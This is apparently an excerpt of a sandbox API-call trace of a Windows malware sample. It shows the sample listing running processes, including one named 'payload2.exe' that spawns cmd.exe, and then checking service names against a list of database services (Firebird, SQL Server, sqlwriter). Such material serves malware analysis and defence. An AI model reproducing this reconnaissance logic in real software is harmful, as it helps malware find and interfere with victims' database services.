	[0084.831] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0084.831] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0084.831] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0084.832] lstrlenW (lpString="SearchUI.exe") returned 12
	[0084.832] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0084.832] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0084.832] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0084.833] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0084.833] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0084.833] lstrlenW (lpString="taskhostw.exe") returned 13
	[0084.833] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0084.834] lstrlenW (lpString="UsoClient.exe") returned 13
	[0084.834] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0084.834] lstrlenW (lpString="taskhostw.exe") returned 13
	[0084.834] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0084.835] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0084.835] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0084.835] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0084.835] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0084.836] lstrlenW (lpString="msoia.exe") returned 9
	[0084.836] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0084.836] lstrlenW (lpString="msoia.exe") returned 9
	[0084.836] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0084.837] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0084.837] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace_subdivision.exe")) returned 1
	[0084.837] lstrlenW (lpString="screensaver_fireplace_subdivision.exe") returned 37
	[0084.838] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emptysuitexml.exe")) returned 1
	[0084.838] lstrlenW (lpString="emptysuitexml.exe") returned 17
	[0084.838] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeatpreston.exe")) returned 1
	[0084.839] lstrlenW (lpString="defeatpreston.exe") returned 17
	[0084.839] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="governments-lottery-royalty.exe")) returned 1
	[0084.839] lstrlenW (lpString="governments-lottery-royalty.exe") returned 31
	[0084.839] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="legends.exe")) returned 1
	[0084.840] lstrlenW (lpString="legends.exe") returned 11
	[0084.840] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="miniature.exe")) returned 1
	[0084.840] lstrlenW (lpString="miniature.exe") returned 13
	[0084.840] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="writes-heroes-spies.exe")) returned 1
	[0084.841] lstrlenW (lpString="writes-heroes-spies.exe") returned 23
	[0084.841] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thorough.exe")) returned 1
	[0084.841] lstrlenW (lpString="thorough.exe") returned 12
	[0084.841] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0084.842] lstrlenW (lpString="dllhost.exe") returned 11
	[0084.842] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="interactive.exe")) returned 1
	[0084.842] lstrlenW (lpString="interactive.exe") returned 15
	[0084.842] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="victims sugar parental.exe")) returned 1
	[0084.843] lstrlenW (lpString="victims sugar parental.exe") returned 26
	[0084.843] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blade_mexican.exe")) returned 1
	[0084.843] lstrlenW (lpString="blade_mexican.exe") returned 17
	[0084.843] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eastexamined.exe")) returned 1
	[0084.844] lstrlenW (lpString="eastexamined.exe") returned 16
	[0084.844] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="attacks-according.exe")) returned 1
	[0084.845] lstrlenW (lpString="attacks-according.exe") returned 21
	[0085.236] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="jacket neighborhood.exe")) returned 1
	[0085.237] lstrlenW (lpString="jacket neighborhood.exe") returned 23
	[0085.237] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="values latin.exe")) returned 1
	[0085.238] lstrlenW (lpString="values latin.exe") returned 16
	[0085.238] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eaufeed.exe")) returned 1
	[0085.238] lstrlenW (lpString="eaufeed.exe") returned 11
	[0085.238] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chicken_document_adjusted.exe")) returned 1
	[0085.239] lstrlenW (lpString="chicken_document_adjusted.exe") returned 29
	[0085.239] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="burning.exe")) returned 1
	[0085.240] lstrlenW (lpString="burning.exe") returned 11
	[0085.240] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="warned-garage.exe")) returned 1
	[0085.240] lstrlenW (lpString="warned-garage.exe") returned 17
	[0085.241] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customize_ann_acute.exe")) returned 1
	[0085.241] lstrlenW (lpString="customize_ann_acute.exe") returned 23
	[0085.241] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="documentsstrikes.exe")) returned 1
	[0085.242] lstrlenW (lpString="documentsstrikes.exe") returned 20
	[0085.242] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scratch-ball.exe")) returned 1
	[0085.242] lstrlenW (lpString="scratch-ball.exe") returned 16
	[0085.242] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="proprietary.exe")) returned 1
	[0085.243] lstrlenW (lpString="proprietary.exe") returned 15
	[0085.243] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfd4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0085.244] lstrlenW (lpString="conhost.exe") returned 11
	[0085.244] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0085.244] lstrlenW (lpString="conhost.exe") returned 11
	[0085.244] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0085.245] lstrlenW (lpString="payload2.exe") returned 12
	[0085.245] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1
	[0085.246] lstrlenW (lpString="CompatTelRunner.exe") returned 19
	[0085.246] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0085.246] lstrlenW (lpString="conhost.exe") returned 11
	[0085.246] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x468, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0085.247] lstrlenW (lpString="cmd.exe") returned 7
	[0085.247] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0085.247] lstrlenW (lpString="conhost.exe") returned 11
	[0085.247] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0085.248] lstrlenW (lpString="mode.com") returned 8
	[0085.248] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1
	[0085.249] lstrlenW (lpString="LogonUI.exe") returned 11
	[0085.249] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0085.249] lstrlenW (lpString="sppsvc.exe") returned 10
	[0085.249] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0085.250] lstrlenW (lpString="svchost.exe") returned 11
	[0085.250] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0
	[0085.250] CloseHandle (hObject=0x34c) returned 1
	[0085.250] Sleep (dwMilliseconds=0x1f4) 
	[0086.083] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52d840
	[0086.084] EnumServicesStatusExW (in: hSCManager=0x52d840, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0
	[0086.089] GetLastError () returned 0xea
	[0086.089] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1d4a) returned 0x43587b0
	[0086.089] EnumServicesStatusExW (in: hSCManager=0x52d840, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x43587b0, cbBufSize=0x1d4a, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x43587b0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1
	[0086.100] CloseServiceHandle (hSCObject=0x52d840) returned 1
	[0086.107] lstrlenW (lpString="Appinfo") returned 7
	[0086.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0086.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0086.107] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0086.107] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0086.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0086.107] lstrlenW (lpString="AppXSvc") returned 7
	[0086.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0086.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0086.107] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0086.107] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0086.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0086.107] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0086.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0086.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0086.107] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0086.107] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0086.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0086.107] lstrlenW (lpString="Audiosrv") returned 8
	[0086.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0086.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0086.108] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0086.108] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0086.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0086.108] lstrlenW (lpString="BFE") returned 3
	[0086.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0086.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0086.108] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0086.108] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0086.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0086.108] lstrlenW (lpString="BITS") returned 4
	[0086.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0086.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0086.108] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0086.108] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0086.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0086.108] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0086.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0086.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0086.108] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0086.108] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0086.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0086.108] lstrlenW (lpString="CDPSvc") returned 6
	[0086.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0086.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0086.108] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0086.108] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0086.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0086.108] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0086.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0086.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0086.108] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0086.108] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0086.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0086.109] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0086.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0086.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0086.109] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0086.109] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0086.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0086.109] lstrlenW (lpString="CryptSvc") returned 8
	[0086.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0086.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0086.109] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0086.109] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0086.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0086.109] lstrlenW (lpString="DcomLaunch") returned 10
	[0086.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0086.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0086.109] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0086.109] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0086.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0086.109] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0086.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0086.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0086.109] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0086.109] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0086.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0086.109] lstrlenW (lpString="Dhcp") returned 4
	[0086.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0086.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0086.109] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0086.109] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0086.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0086.109] lstrlenW (lpString="Dnscache") returned 8
	[0086.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
